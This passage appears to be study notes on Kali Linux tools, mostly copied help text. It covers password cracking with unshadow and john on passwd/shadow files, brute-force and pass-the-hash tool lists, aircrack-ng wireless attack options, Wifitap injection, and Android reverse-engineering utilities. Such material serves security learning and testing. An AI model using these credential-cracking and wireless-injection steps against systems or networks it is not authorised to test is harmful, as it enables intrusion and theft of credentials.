-cut=len Will trim each input lines to 'len' bytes long, prior to running
the unique algorithm. The 'trimming' is done on any -ex_file[_only] file
-mem=num. A number that overrides the UNIQUE_HASH_LOG value from within
params.h. The default is 21. This can be raised, up to 25 (memory usage
doubles each number). If you go TOO large, unique will swap and thrash and
work VERY slow

-v is for 'verbose' mode, outputs line counts during the run

unshadow Usage Example

Combine the provided passwd (passwd) and shadow (shadow)(shadow) and redirect them to a file (> unshadowed.txt):
root@kali:~# unshadow passwd shadow > unshadowed.txt

Using a wordlist (–wordlist=/usr/share/john/password.lst), apply mangling rules (–rules) and attempt to crack the password hashes in the given file (unshadowed.txt):
root@kali:~# john --wordlist=/usr/share/john/password.lst --rules unshadowed.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 1 password hash (sha512crypt [64/64])
toor (root)
guesses: 1 time: 0:00:00:07 DONE (Mon May 19 08:13:05 2014) c/s: 482 trying: 1701d - andrew
Use the "--show" option to display all of the cracked passwords reliably

Using verbose mode (-v), read a list of passwords (-inp=allwords.txt) and save only unique words to a file (uniques.txt):
root@kali:~# unique -v -inp=allwords.txt uniques.txt
Total lines read 6089 Unique lines written 5083

johnny GUI for the John the Ripper
http://openwall.info/wiki/john/johnny

medusa - http://foofus.net/goons/jmk/medusa/medusa.html
Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. The goal is to support as many services which allow remote authentication as possible. The author considers following items as some of the key features of this application:
Thread-based parallel testing. Brute-force testing can be performed against multiple hosts, users or passwords concurrently.
Flexible user input. Target information (host/user/password) can be specified in a variety of ways. For example, each item can be either a single entry or a file containing multiple entries. Additionally, a combination file format allows the user to refine their target listing.
Modular design. Each service module exists as an independent .mod file. This means that no modifications are necessary to the core application in order to extend the supported list of services for brute-forcing.
Medusa is supposed to multithread better than Hydra. Here is a comparison of Medusa to hydra and ncrack:
http://foofus.net/goons/jmk/medusa/medusa-compare.html

ncrack
ophcrack
pyrit
rainbowcrack
rcrack_mt
wordlists

Offline Attacks submenu
cachedump
chntpw
cmospwd
fcrackzip
hash-ident...

hashcat
hasid
johnny
lsadump
multiforcer
ophcrack-cli
pwdump
rainbowcra...
rcrack_mt
samdump2
sipcrack
sucrack
truecrack

Online Attacks submenu
acccheck
cisco-audit
findmyhash
hydra -
hydra-gtk -
keimpx
onesixtyone
patator
thc-pptp-b...

PW Profiling & Wordlists submenu
cewl
crunch
dictstat
maskgen
policygen
rsmangler
wordlists

Passing the Hash tools submenu
mimikatz
pth-curl
pth-net
pth-openc...
pth-rpcclient...
pth-smbclient
pth-smbget
pth-sqsh
pth-winexe
pth-wmic
pth-wmis
smbmap

6. The Wireless Attacks menu

Main Menu
aircrack-ng -

Tools included in the aircrack-ng package
airbase-ng – Configure fake access points
  usage: airbase-ng <options> <replay interface>
  Options:
      -a bssid   : set Access Point MAC address
      -i iface   : capture packets from this interface
      -w WEP key   : use this WEP key to en-/decrypt packets
      -h MAC   : source mac for MITM mode

```
      -f disallow      : disallow specified client MACs (default: allow)
      -W 0|1           : [don't] set WEP flag in beacons 0|1 (default: auto)
      -q             : quiet (do not print statistics)
      -v             : verbose (print more messages)
      -A             : Ad-Hoc Mode (allows other clients to peer)
      -Y in|out|both   : external packet processing
      -c channel       : sets the channel the AP is running on
      -X             : hidden ESSID
      -s             : force shared key authentication (default: auto)
      -S             : set shared key challenge length (default: 128)
      -L             : Caffe-Latte WEP attack (use if driver can't send frags)
      -N             : cfrag WEP attack (recommended)
      -x nbpps         : number of packets per second (default: 100)
      -y             : disables responses to broadcast probes
      -0             : set all WPA,WEP,open tags. can't be used with -z & -Z
      -z type          : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104
      -Z type          : same as -z, but for WPA2
      -V type          : fake EAPOL 1=MD5 2=SHA1 3=auto
      -F prefix        : write all sent and received frames into pcap file
      -P             : respond to all probes, even when specifying ESSIDs
      -I interval      : sets the beacon interval value in ms
      -C seconds       : enables beaconing of probed ESSID values (requires -P)

    Filter options:
      --bssid MAC      : BSSID to filter/use
      --bssids file    : read a list of BSSIDs out of that file
      --client MAC     : MAC of client to filter
      --clients file   : read a list of MACs out of that file
      --essid ESSID    : specify a single ESSID (default: default)
      --essids file    : read a list of ESSIDs out of that file

      --help           : Displays this usage screen


aircrack-ng – Wireless password cracker
usage: aircrack-ng [options] <.cap / .ivs file(s)>
    Common options:
      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)
      -e <essid> : target selection: network identifier
      -b <bssid> : target selection: access point's MAC
      -p <nbcpu> : # of CPU to use  (default: all CPUs)
      -q         : enable quiet mode (no status output)
      -C <macs>  : merge the given APs to a virtual one
      -l <file>  : write key to file

    Static WEP cracking options:
      -c         : search alpha-numeric characters only
      -t         : search binary coded decimal chr only
      -h         : search the numeric key for Fritz!BOX
      -d <mask>  : use masking of the key (A1:XX:CF:YY)
      -m <maddr> : MAC address to filter usable packets
      -n <nbits> : WEP key length :  64/128/152/256/512
      -i <index> : WEP key index (1 to 4), default: any
      -f <fudge> : bruteforce fudge factor,  default: 2
      -k <korek> : disable one attack method  (1 to 17)
      -x or -x0  : disable bruteforce for last keybytes
      -x1        : last keybyte bruteforcing  (default)
      -x2        : enable last  2 keybytes bruteforcing
      -X         : disable  bruteforce   multithreading
      -y         : experimental  single bruteforce mode
      -K         : use only old KoreK attacks (pre-PTW)
```

```
      -s         : show the key in ASCII while cracking
      -M <num>   : specify maximum number of IVs to use
      -D         : WEP decloak, skips broken keystreams
      -P <num>   : PTW debug:  1: disable Klein, 2: PTW
      -1         : run only 1 try to crack key with PTW
  WEP and WPA-PSK cracking options:
      -w <words> : path to wordlist(s) filename(s)
  WPA-PSK options:
      -E <file>  : create EWSA Project file v3
      -J <file>  : create Hashcat Capture file
      -S         : WPA cracking speed test
  Other options:
      -u         : Displays # of CPUs & MMX/SSE support

airdecap-ng – Decrypt WEP/WPA/WPA2 capture files
  usage: airdecap-ng [options] <pcap file>
  Common options:
      -l         : don't remove the 802.11 header
      -b <bssid> : access point MAC address filter
      -e <essid> : target network SSID
  WEP specific option:
      -w <key>   : target network WEP key in hex
  WPA specific options:
      -p <pass>  : target network WPA passphrase
      -k <pmk>   : WPA Pairwise Master Key in hex

airdecloak-ng – Removes wep cloaking from a pcap file
  usage: airdecloak-ng [options]
  options:
   Mandatory:
     -i <file>            : Input capture file
     --ssid <ESSID>       : ESSID of the network to filter
        or
     --bssid <BSSID>      : BSSID of the network to filter
   Optional:
     --filters <filters>  : Apply filters (separated by a comma). Filters:
          signal:              Try to filter based on signal.
          duplicate_sn:        Remove all duplicate sequence numbers
                               for both the AP and the client.
          duplicate_sn_ap:     Remove duplicate sequence number for
                               the AP only.
          duplicate_sn_client: Remove duplicate sequence number for the
                               client only.
          consecutive_sn:      Filter based on the fact that IV should
                               be consecutive (only for AP).
          duplicate_iv:        Remove all duplicate IV.
          signal_dup_consec_sn: Use signal (if available), duplicate and
                               consecutive sequence number (filtering is
                                much more precise than using all these
                                filters one by one).
     --null-packets       : Assume that null packets can be cloaked.
     --disable-base_filter : Do not apply base filter.
     --drop-frag          : Drop fragmented packets

airdriver-ng – Provides status information about the wireless drivers on your system
usage: airdriver-ng <command> [drivernumber]
    valid commands:
        supported       - lists all supported drivers
        kernel          - lists all in-kernel drivers
        installed       - lists all installed drivers
        loaded          - lists all loaded drivers
```

```
        ------------------------------------------------------
        insert <drivernum>  - inserts a driver
        load <drivernum>    - loads a driver
        unload <drivernum>  - unloads a driver
        reload <drivernum>  - reloads a driver
        ------------------------------------------------------
        compile <drivernum> - compiles a driver
        install <drivernum> - installs a driver
        remove <drivernum>  - removes a driver
        ------------------------------------------------------
        compile_stack <stacknum>    - compiles a stack
        install_stack <stacknum>    - installs a stack
        remove_stack <stacknum> - removes a stack
        ------------------------------------------------------
        install_firmware <drivernum>    - installs the firmware
        remove_firmware <drivernum> - removes the firmware
        ------------------------------------------------------
        details <drivernum> - prints driver details
        detect          - detects wireless cards
```

aireplay-ng – Primary function is to generate traffic for the later use in aircrack-ng

```
  usage: aireplay-ng <options> <replay interface>
  Filter options:
     -b bssid  : MAC address, Access Point
     -d dmac   : MAC address, Destination
     -s smac   : MAC address, Source
     -m len    : minimum packet length
     -n len    : maximum packet length
     -u type   : frame control, type    field
     -v subt   : frame control, subtype field
     -t tods   : frame control, To      DS bit
     -f fromds : frame control, From    DS bit
     -w iswep  : frame control, WEP     bit
     -D        : disable AP detection
  Replay options:
     -x nbpps  : number of packets per second
     -p fctrl  : set frame control word (hex)
     -a bssid  : set Access Point MAC address
     -c dmac   : set Destination  MAC address
     -h smac   : set Source       MAC address
     -g value  : change ring buffer size (default: 8)
     -F        : choose first matching packet
    Fakeauth attack options:
     -e essid  : set target AP SSID
     -o npckts : number of packets per burst (0=auto, default: 1)
     -q sec    : seconds between keep-alives
     -Q        : send reassociation requests
     -y prga   : keystream for shared key auth
     -T n      : exit after retry fake auth request n time
    Arp Replay attack options:
     -j        : inject FromDS packets
    Fragmentation attack options:
     -k IP     : set destination IP in fragments
     -l IP     : set source IP in fragments
    Test attack options:
     -B        : activates the bitrate test
  Source options:
     -i iface  : capture packets from this interface
     -r file   : extract packets from this pcap file
  Miscellaneous options:
     -R                : disable /dev/rtc usage
```

```
    --ignore-negative-one : if the interface's channel can't be determined,
                            ignore the mismatch, needed for unpatched cfg80211
  Attack modes (numbers can still be used):
    --deauth      count : deauthenticate 1 or all stations (-0)
    --fakeauth    delay : fake authentication with AP (-1)
    --interactive       : interactive frame selection (-2)
    --arpreplay         : standard ARP-request replay (-3)
    --chopchop          : decrypt/chopchop WEP packet (-4)
    --fragment          : generates valid keystream   (-5)
    --caffe-latte       : query a client for new IVs  (-6)
    --cfrag             : fragments against a client  (-7)
    --migmode           : attacks WPA migration mode  (-8)
    --test              : tests injection and quality (-9)

airmon-ng – This script can be used to enable monitor mode on wireless interfaces
usage: airmon-ng <start|stop|check> <interface> [channel or frequency]

airmon-zc – This script can be used to enable monitor mode on wireless interfaces
usage: airmon-zc <start|stop|check> <interface> [channel or frequency]

airodump-ng – Used for packet capturing of raw 802.11 frames
  usage: airodump-ng <options> <interface>[,<interface>,...]
  Options:
    --ivs               : Save only captured IVs
    --gpsd              : Use GPSd
    --write      <prefix> : Dump file prefix
    -w                  : same as --write
    --beacons           : Record all beacons in dump file
    --update       <secs> : Display update delay in seconds
    --showack           : Prints ack/cts/rts statistics
    -h                  : Hides known stations for --showack
    -f           <msecs> : Time in ms between hopping channels
    --berlin       <secs> : Time before removing the AP/client
                            from the screen when no more packets
                            are received (Default: 120 seconds)
    -r           <file> : Read packets from that file
    -x           <msecs> : Active Scanning Simulation
    --manufacturer       : Display manufacturer from IEEE OUI list
    --uptime             : Display AP Uptime from Beacon Timestamp
    --output-format
                <formats> : Output format. Possible values:
                            pcap, ivs, csv, gps, kismet, netxml
    --ignore-negative-one : Removes the message that says
                            fixed channel <interface>: -1
  Filter options:
    --encrypt   <suite>   : Filter APs by cipher suite
    --netmask <netmask>   : Filter APs by mask
    --bssid     <bssid>   : Filter APs by BSSID
    --essid     <essid>   : Filter APs by ESSID
    -a                    : Filter unassociated clients
  By default, airodump-ng hop on 2.4GHz channels.
  You can make it capture on other/specific channel(s) by using:
    --channel <channels>  : Capture on specific channels
    --band <abg>          : Band on which airodump-ng should hop
    -C    <frequencies>   : Uses these frequencies in MHz to hop
    --cswitch  <method>   : Set channel switching method
                    0       : FIFO (default)
                    1       : Round Robin
                    2       : Hop on last
    -s                    : same as --cswitch
```

airodump-ng-oui-update – Downloads and parses IEEE OUI list

airolib-ng – Designed to store and manage essid and password lists
```
  Usage: airolib-ng <database> <operation> [options]
  Operations:
      --stats        : Output information about the database.
      --sql <sql>    : Execute specified SQL statement.
      --clean [all]  : Clean the database from old junk. 'all' will also
                       reduce filesize if possible and run an integrity check.
      --batch        : Start batch-processing all combinations of ESSIDs
                       and passwords.
      --verify [all] : Verify a set of randomly chosen PMKs.
                       If 'all' is given, all invalid PMK will be deleted.
      --import [essid|passwd] <file>   :
                       Import a text file as a list of ESSIDs or passwords.
      --import cowpatty <file>         :
                       Import a cowpatty file.
      --export cowpatty <essid> <file> :
                       Export to a cowpatty file.
```

airserv-ng – A wireless card server
```
  Usage: airserv-ng <options>

  Options:

      -h         : This help screen
      -p  <port> : TCP port to listen on (default:666)
      -d <iface> : Wifi interface to use
      -c  <chan> : Channel to use
      -v <level> : Debug level (1 to 3; default: 1)
```

airtun-ng – Virtual tunnel interface creator
```
  usage: airtun-ng <options> <replay interface>
     -x nbpps         : number of packets per second (default: 100)
     -a bssid         : set Access Point MAC address
                      : In WDS Mode this sets the Receiver
     -i iface         : capture packets from this interface
     -y file          : read PRGA from this file
     -w wepkey        : use this WEP-KEY to encrypt packets
     -t tods          : send frames to AP (1) or to client (0)
                      : or tunnel them into a WDS/Bridge (2)
     -r file          : read frames out of pcap file
  WDS/Bridge Mode options:
     -s transmitter   : set Transmitter MAC address for WDS Mode
     -b               : bidirectional mode. This enables communication
                      : in Transmitter's AND Receiver's networks.
                      : Works only if you can see both stations.
  Repeater options:
     --repeat         : activates repeat mode
     --bssid <mac>    : BSSID to repeat
     --netmask <mask> : netmask for BSSID filter
```

besside-ng – Automatically crack WEP & WPA network
```
  Usage: besside-ng [options] <interface>
  Options:
      -b <victim mac> : Victim BSSID
      -s <WPA server> : Upload wpa.cap for cracking
      -c       <chan> : chanlock
      -p       <pps>  : flood rate
      -W              : WPA only
      -v              : verbose, -vv for more, etc.
```

```
      -h             : This help screen

buddy-ng
  Usage: buddy-ng <options>
  Options:
      -p       : Don't drop privileges

easside-ng – An auto-magic tool which allows you to communicate via an WEP-encrypted access point
  Usage: easside-ng <options>
  Options:
      -v   <victim mac> : Victim BSSID
      -m      <src mac> : Source MAC address
      -i         <ip> : Source IP address
      -r    <router ip> : Router IP address
      -s     <buddy ip> : Buddy-ng IP address (mandatory)
      -f       <iface> : Interface to use (mandatory)
      -c      <channel> : Lock card to this channel
      -n                : Determine Internet IP only

ivstools – This tool handle .ivs files. You can either merge or convert them.
   usage: ivstools --convert <pcap file> <ivs output file>
       Extract ivs from a pcap file
       ivstools --merge <ivs file 1> <ivs file 2> .. <output file>
       Merge ivs files

kstats
usage: kstats <ivs file> <104-bit key>

makeivs-ng – Generates initialization vectors
  usage: makeivs-ng [options]
  Common options:
     -b <bssid> : Set access point MAC address
     -f <num>   : Number of first IV
     -k <key>   : Target network WEP key in hex
     -s <num>   : Seed used to setup random generator
     -w <file>  : Filename to write IVs into
     -c <num>   : Number of IVs to generate
     -d <num>   : Percentage of dupe IVs
     -e <num>   : Percentage of erroneous keystreams
     -l <num>   : Length of keystreams
     -n         : Ignores ignores weak IVs
     -p         : Uses prng algorithm to generate IVs

packetforge-ng – Create encrypted packets that can subsequently be used for injection
  Usage: packetforge-ng <mode> <options>
  Forge options:
     -p <fctrl>     : set frame control word (hex)
     -a <bssid>     : set Access Point MAC address
     -c <dmac>      : set Destination  MAC address
     -h <smac>      : set Source       MAC address
     -j             : set FromDS bit
     -o             : clear ToDS bit
     -e             : disables WEP encryption
     -k <ip[:port]> : set Destination IP [Port]
     -l <ip[:port]> : set Source      IP [Port]
     -t ttl         : set Time To Live
     -w <file>      : write packet to this pcap file
     -s <size>      : specify size of null packet
     -n <packets>   : set number of packets to generate
  Source options:
     -r <file>      : read packet from this raw file
```

```
    -y <file>      : read PRGA from this file
  Modes:
    --arp          : forge an ARP packet    (-0)
    --udp          : forge an UDP packet    (-1)
    --icmp         : forge an ICMP packet   (-2)
    --null         : build a null packet    (-3)
    --custom       : build a custom packet  (-9)
```

tkiptun-ng – This tool is able to inject a few frames into a WPA TKIP network with QoS

```
  usage: tkiptun-ng <options> <replay interface>
  Filter options:
    -d dmac   : MAC address, Destination
    -s smac   : MAC address, Source
    -m len    : minimum packet length (default: 80)
    -n len    : maximum packet length (default: 80)
    -t tods   : frame control, To      DS bit
    -f fromds : frame control, From    DS bit
    -D        : disable AP detection
    -Z        : select packets manually
  Replay options:
    -x nbpps  : number of packets per second
    -a bssid  : set Access Point MAC address
    -c dmac   : set Destination  MAC address
    -h smac   : set Source       MAC address
    -e essid  : set target AP SSID
    -M sec    : MIC error timout in seconds [60]
  Debug options:
    -K prga   : keystream for continuation
    -y file   : keystream-file for continuation
    -j        : inject FromDS packets
    -P pmk    : pmk for verification/vuln testing
    -p psk    : psk to calculate pmk with essid
  source options:
    -i iface  : capture packets from this interface
    -r file   : extract packets from this pcap file
```

wesside-ng – Auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key

```
  Usage: wesside-ng <options>
  Options:
      -h             : This help screen
      -i      <iface> : Interface to use (mandatory)
      -m      <my ip> : My IP address
      -n     <net ip> : Network IP address
      -a      <mymac> : Source MAC Address
      -c              : Do not crack the key
      -p   <min prga> : Minimum bytes of PRGA to gather
      -v <victim mac> : Victim BSSID
      -t  <threshold> : Cracking threshold
      -f   <max chan> : Highest scanned chan (default: 11)
      -k      <txnum> : Ignore acks and tx txnum times
```

wpaclean – Remove excess data from a pcap file

```
Usage: wpaclean <out.cap> <in.cap> [in2.cap] [...]
```

chirp
cowpatty
fern wifi cr...
ghost phish
giskismet
kismet -
mdk3
mfoc
mfterm
pixiewps
reaver -
wifite - wifite is designed to be an automatic wifi gathering tool, crack passwords later, gets most from APs with strongest signal strength (hello Mr Robot and visit to jail - where he dropped off phone at visiting checkin desk)

802.11 Wireless Tools submenu
asleap - old -2004 - captures PPTP exchange info?
bully - same as Reaver for WPS -but faster, more effective "gets through "anomalies" better
cowpatty - needs aircrak-ng to get things- provide wordlist and captured hash, it generates hashes from wordlist using SSID as seed. Also needs genpmk to work. Doesn't seem very standalone!
eapmd5pass - get md5 exchange and runn an offline dictionary attack (??)

fern wifi cr...
giskismet
wifi-honey

Below are the wifitap tools
wifiarp
wifidns
wifiping
wifitap
Wifitap Package Description

"**Wifitap** is a proof of concept for communication over WiFi networks using traffic injection"
http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html
Wifitap- traffic capture and injection over a WiFi network simply configuring interface **wj0**
set an IP address consistent with target network address range and route desired traffic through it
arbitrary packet injection without specific library.
bypass inter-client communications prevention systems (e.g. Cisco PSPF), reach SSIDs handled by AP

Source:
http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html
Author: Cedric Blancher
License: GPLv2

Common options for these:
-b <BSSID> specify BSSID for injection
-o <iface> specify interface for injection (default: ath0)
-w <key> WEP mode and key
-k <key id> WEP key id (default: 0)
-d debug
-v verbose debugging
-h help

wifiarp – WiFi injection ARP answering tool based on Wifitap
Usage: wifitap -b <BSSID> -s <HWSRC> [-o <iface>] [-i <iface>]
[-w <WEP key> [-k <key id>]] [-d [-v]]

[-h]
-s <HWSRC> specify source MAC address for 802.11 and ARP headers

wifidns – WiFi injection DNS answering tool based on Wifitap
Usage: wifidns -b <BSSID> -a <IP> [-o <iface>] [-i <iface>]
[-s <SMAC>] [-t <TTL>] [-w <WEP key>]
[-k <key id>]] [-d [-v]] [-h]
-a <IP> specify IP address for DNS answers
-t <TTL> Set TTL (default: 64)
-i <iface> specify interface for listening (default: ath0)
-s <SMAC> specify source MAC address for injected frames
wifiping – WiFi injection based answering tool based on Wifitap
root@kali:~# wifiping -h
Psyco optimizer not installed, running anyway...
INFO: did not find python gnuplot wrapper . Won't be able to plot
INFO: Can't open /etc/ethertypes file
Usage: wifitap -b <BSSID> [-t <TTL>] [-o <iface>] [-i <iface>]
[-s <SMAC>] [-w <WEP key> [-k <key id>]]
[-d [-v]] [-h]
-t <TTL> Set TTL (default: 64)
-i <iface> specify interface for listening (default: ath0)
-s <SMAC> specify source MAC address for injected frames

wifitap – WiFi injection tool through tun/tap device
Usage: wifitap -b <BSSID> [-o <iface>] [-i <iface>] [-s <SMAC>]
[-w <WEP key> [-k <key id>]] [-d [-v]] [-h]
-i <iface> specify interface for listening (default: ath0)
-s <SMAC> specify source MAC address for injected frames

https://github.com/gdssecurity/wifitap/.

[modifier] Direct communication without association

Wifitap allows direct communication with an associated station to a given access point directly, meaning:

- not being associated ourselves;
- not being handled by access point.

~# modprobe prism54
~# ifconfig eth1 up
~# iwlist eth1 scan
eth1 Scan completed :
Cell 01 - Address: 00:13:10:30:22:5C
ESSID:"linksys"
Mode:Master
Encryption key:off
Frequency:2.462 GHz (Channel 11)
Quality:19/0 Signal level:-28 dBm Noise level:-47 dBm

We set our WiFi interface in monitor mode on channel 11.

~# iwconfig eth1 mode monitor channel 11

```
~# ifconfig eth1 promisc
```

Wifitap is ready to be launched to communicate with reachable associated stations to access point 00:13:10:30:22:5C.

```
~# wifitap.py

Error: BSSID not defined

Usage: wifitap -b <BSSID> [-o <iface>] [-i <iface>] [-s <SMAC>] [-w <WEP key> [-k <key id>]] [-d [-v]] [-h]
    -b <BSSID>    specify BSSID for injection
    -o <iface>    specify interface for injection (default: ath0)
    -i <iface>    specify interface for listening (default: ath0)
    -s <SMAC>     specify source MAC address
    -w <key>      WEP mode and key
    -k <key id>   WEP key id (default: 0)
    -d            activate debug
    -v            verbose debugging
    -h            this so helpful output

~# wifitap.py -b 00:13:10:30:22:5C -i eth1 -p -o eth1
IN_IFACE:   eth1 (no Prism headers in capture)
OUT_IFACE:  eth1
BSSID:      00:13:10:30:22:5c
tcpdump: WARNING: eth1: no IPv4 address assigned
Interface wj0 created. Configure it and use it
[...]
```

Launching Wifitap creates an tuntap interface named wj0 through which we can inject regular IP traffic

```
~# ifconfig wj0 192.168.11.11 mtu 1400
~# ifconfig wj0
wj0       Link encap:Ethernet  HWaddr 66:F6:C9:1E:E2:13
          inet addr:192.168.11.11  Bcast:192.168.11.255  Mask:255.255.255.0
          UP BROADCAST RUNNING ALLMULTI MULTICAST  MTU:1400  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500
          RX bytes:0 (0.0 b)  TX bytes:36 (36.0 b)

~# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.11.0    0.0.0.0         255.255.255.0   U     0      0        0 wj0
```

Now we can reach 192.168.11.0/24 through wj0. Listening to eth1 (with tcpdump as an example), we can discover associated stations and communicate with them with IP.

NB : wj0 MAC address is used as source for sent frames if you don't provide source MAC address using -s <SMAC>.

```
~# ping 192.168.11.10
PING 192.168.11.10 (192.168.11.10): 56 data bytes
64 bytes from 192.168.11.10: icmp_seq=0 ttl=64 time=37.222 ms
64 bytes from 192.168.11.10: icmp_seq=1 ttl=64 time=0.200 ms
64 bytes from 192.168.11.10: icmp_seq=2 ttl=64 time=0.188 ms
64 bytes from 192.168.11.10: icmp_seq=3 ttl=64 time=0.206 ms
--- 192.168.11.10 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.188/9.454/37.222/16.032 ms
```

[modifier] Further applications of Wifitap

Wifitap allows any application do send and receive IP packets using 802.11 traffic capture and injection over a WiFi network simply configuring wj0, which means :

- setting an IP address consistent with target network address range ;
- routing desired traffic through it.

In particular, it's a cheap method for arbitrary packets injection in 802.11 frames without specific library.

In addition, it will allow one to get rid of any limitation set at access point level, such as bypassing inter-client communications prevention systems (e.g. Cisco PSPF) or reaching multiple SSID handled by the same access point.

[modifier] Hacking Wifitap

Wifitap can easily be modified to be used as a framework for simple tasks such as injecting answers to captured frames.

If you want to use Scapy for captured packets parsing and answers generation, it is necessary to add import for related classes. For instance, if you want to work on ICMP packets, just add:

```
from scapy  import IP,ICMP
```

Then, you have to rip tuntap interface handling:

- initialisation;
- reading;
- writting.

Finally, you have to modify the main loop to handle interesting frames identification, fields parsing, then answers generation and injection.

Wifitap tarball contains sample programs:

- ARP requests answering machine (wifiarp.py);
- DNS requests answering machine (wifidns.py).
- ICMP Echo Requests answering machine (wifiping.py);

Bluetooth Tools submenu

bluelog
blueranger
bluesnarfer
btscanner
redfang
spooftooph

RFID & NFC Tools submenu

mfcuk
mfoc
mfterm
mifare-clas...
nfc-list

nfc-mfclas...

Other Wireless Tools submenu
hackrf_info
zbassocflo...
zbdsniff
zbdump
zbfind
zbgoodfind
zbreplay
zbstumbler

Software Defined Radio submenu
chirp

7. Reverse Engineering menu

Main Menu

apktool
reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications; it makes possible to debug smali code step by step. Also it makes working with app easier because of project-like files structure and automation of some repetitive tasks like building apk, etc
Features: decoding resources to nearly original form (including resources.arsc, XMLs and 9.png files) and rebuilding them, helping with some repetitive tasks
- SmaliDebugging
Source: https://code.google.com/p/android-apktool/

```
root@kali:~# apktool
Apktool v1.5.2 - a tool for reengineering Android apk files
Copyright 2010 Ryszard Wiśniewski <brut.alll@gmail.com>
with smali v1.4.1, and baksmali v1.4.1
Updated by @iBotPeaches <connor.tumbleson@gmail.com>
Apache License 2.0 (http://www.apache.org/licenses/LICENSE-2.0)
Usage: apktool [-q|--quiet OR -v|--verbose] COMMAND [...]
COMMANDs are:
   d[ecode] [OPTS] <file.apk> [<dir>]
      Decode <file.apk> to <dir>.
      OPTS:

      -s, --no-src
         Do not decode sources.
      -r, --no-res
         Do not decode resources.
      -d, --debug
         Decode in debug mode. Check project page for more info.
      -b, --no-debug-info
         Baksmali -- don't write out debug info (.local, .param, .line, etc.)
      -f, --force
         Force delete destination directory.
      -t <tag>, --frame-tag <tag>
         Try to use framework files tagged by <tag>.
      --frame-path <dir>
         Use the specified directory for framework files
      --keep-broken-res
         Use if there was an error and some resources were dropped, e.g.:
         "Invalid config flags detected. Dropping resources", but you
         want to decode them anyway, even with errors. You will have to
         fix them manually before building.
```

b[uild] [OPTS] [<app_path>] [<out_file>]
Build an apk from already decoded application located in <app_path>.

It will automatically detect, whether files was changed and perform
needed steps only.

If you omit <app_path> then current directory will be used.
If you omit <out_file> then <app_path>/dist/<name_of_original.apk>
will be used.

OPTS:

-f, --force-all
Skip changes detection and build all files.
-d, --debug
Build in debug mode. Check project page for more info.
-a, --aapt
Loads aapt from specified location.

if|install-framework <framework.apk> [<tag>] --frame-path [<location>]
Install framework file to your system.

For additional info, see: http://code.google.com/p/android-apktool/
For smali/baksmali info, see: http://code.google.com/p/smali/
-----apktool Usage Example
Use debug mode *(d)* to decode the given apk file *(/root/SdkControllerApp.apk)*:
root@kali:~# apktool d /root/SdkControllerApp.apk
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/apktool/framework/1.apk
I: Loaded.
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Done.
I: Copying assets and libs...

clang and clang++
frontends for LLVM

dex2jar
dex2jar contains following components:

- dex-reader is designed to read the Dalvik Executable (.dex/.odex) format. It has a light weight API similar with ASM.
- dex-translator is designed to do the convert job. It reads the dex instruction to dex-ir format, after some optimize, convert to ASM format.
- dex-ir used by dex-translator, is designed to represent the dex instruction
- dex-tools tools to work with .class files. here are examples: Modify a apk, DeObfuscate a jar
-
- d2j-smali [To be published] disassemble dex to smali files and assemble dex from smali files. different implementation to smali/baksmali, same syntax, but we support escape in type desc “Lcom/dex2jar\t\u1234;”
- dex-writer [To be published] write dex same way as dex-reader

Dalvik is a discontinued process virtual machine (VM) in Google's Android operating system that executes applications written for Android. Dalvik is an integral part of the Android software stack in Android versions 4.4 "KitKat" and earlier. Dalvik is open-source software, originally written by Dan Bornstein. Programs for Android are commonly written in Java and compiled to bytecode for the Java virtual machine, which is then translated to Dalvik bytecode and stored in .dex (Dalvik EXecutable) and .odex (Optimized Dalvik EXecutable) files; related terms odex

and de-odex are associated with respective bytecode conversions. The compact Dalvik Executable format is designed for systems that are constrained in terms of memory and processor speed. The successor of Dalvik is Android Runtime (ART), which uses the same bytecode and .dex files (but not .odex files)

d2j-jar2dex – Convert jar to dex by invoking dx

```
root@kali:~# d2j-jar2dex -h
d2j-jar2dex -- Convert jar to dex by invoking dx.
usage: d2j-jar2dex [options] <dir>
options:
 -f,--force                 force overwrite
 -h,--help                  Print this help message
 -o,--output <out-dex-file>   output .dex file, default is $current_dir/[jar-nam
                         e]-jar2dex.dex
version: 0.0.9.15
```

d2j-jar-remap – Rename package/class/method/field name in a jar

```
root@kali:~# d2j-jar-remap -h
d2j-jar-remap -- rename package/class/method/field name in a jar
usage: d2j-jar-remap [options] jar
options:
 -c,--config <config>    config file for remap, this is REQUIRED
 -f,--force              force overwrite
 -h,--help               Print this help message
 -o,--output <out-jar>   output .jar file, default is $current_dir/[jar-name]-re
                       map.jar
version: 0.0.9.15
online help: https://code.google.com/p/dex2jar/wiki/DeObfuscateJarWithDexTool
```

d2j-dex2jar – Convert dex to jar

```
root@kali:~# d2j-dex2jar -h
d2j-dex2jar -- convert dex to jar
usage: d2j-dex2jar [options] <file0> [file1 ... fileN]
options:
 -d,--debug-info             translate debug info
 -e,--exception-file <file>   detail exception file, default is $current_dir/[fi
                         le-name]-error.zip
 -f,--force                  force overwrite
 -h,--help                   Print this help message
 -n,--not-handle-exception    not handle any exception throwed by dex2jar
 -o,--output <out-jar-file>   output .jar file, default is $current_dir/[file-na
                         me]-dex2jar.jar
 -os,--optmize-synchronized   optmize-synchronized
 -p,--print-ir               print ir to Syste.out
 -r,--reuse-reg              reuse regiter while generate java .class file
 -s                          same with --topological-sort/-ts
 -ts,--topological-sort       sort block by topological, that will generate more
                          readable code
 -v,--verbose                show progress
version: reader-1.15, translator-0.0.9.15, ir-1.12
```

dex2jar – This cmd is deprecated, use the d2j-dex2jar if possible

```
root@kali:~# dex2jar
this cmd is deprecated, use the d2j-dex2jar if possible
